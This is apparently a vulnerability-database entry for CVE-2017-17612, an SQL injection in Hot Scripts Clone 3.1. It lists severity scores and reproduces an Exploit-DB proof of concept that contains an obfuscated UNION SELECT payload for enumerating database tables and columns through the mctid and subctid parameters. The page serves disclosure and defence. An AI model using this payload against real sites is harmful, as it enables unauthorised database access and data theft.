CVE-2017-17612

critical

Published 2017-12-13 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Hot Scripts Clone 3.1 has SQL Injection via the /categories subctid or mctid parameter.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43284 webapps php verified

Ihsan Sencan · 2017-12-11

Hot Scripts Clone 3.1 - 'subctid' / 'mctid' SQL Injection

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EDB-43916 webapps php text · 1 KB

Ihsan Sencan · 2018-01-28

Hot Scripts Clone - 'subctid' SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: Hot Scripts Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/M72g4502563/php-scripts/hot-scripts-clone-:-script-classified
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
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# http://localhost/[PATH]/categories?keyword=&mctid=[SQL]&subctid=[SQL]
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# -Y12h7890'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
#  
# # # # #

Application impact

Vendor	Product	Versions	Fixed
hot_scripts_clone_project	hot_scripts_clone	`3.1`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

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